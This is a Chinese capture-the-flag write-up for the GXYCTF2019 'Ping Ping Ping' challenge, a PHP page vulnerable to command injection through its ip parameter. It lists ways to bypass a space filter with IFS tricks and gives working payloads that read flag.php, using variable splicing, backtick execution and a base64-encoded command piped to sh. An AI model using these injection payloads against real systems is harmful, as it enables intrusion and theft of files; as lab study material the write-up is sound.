进入页面没有什么东西,尝试填一下ip
可以 使用多命令执行符
; 无论逻辑
&& 命令1正确则命令2执行,命令1错误则命令2不执行
|| 命令1错误命令2执行,命令2错误则命令1执行
构造?ip=127.0.0.1 ;ls
构造?ip=127.0.0.1;cat flag.php
发现存在过滤 空格
想办法绕过一下
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符替换
6.%09替换
注:Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
注2:cat大部分情况下会被过滤,可以尝试tac和其他过滤方法
发现flag也做了过滤
那我们先查看一下index文件吧
/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
"; print_r($a); } ?>
过滤了很多,想办法绕过(不太懂这段对flag的限制是啥意思)
查看了人家的wp,说是因为源码具有变量b使用可以使用变量b来绕过
不过尝试了一下,随便什么字母都行
/?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
由于返回内容被注释了,所以在源码中显示
或者使用内联执行
/?ip=127.0.0.1;cat$IFS$1`ls`
注:``在linux中使用反引号包围意为将内容当做命令执行
还一种就是使用base64编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
bash被禁用,则使用sh


![[GXYCTF2019]Ping Ping Ping1 [GXYCTF2019]Ping Ping Ping1](http://www.mshxw.com/aiimages/31/884592.png)
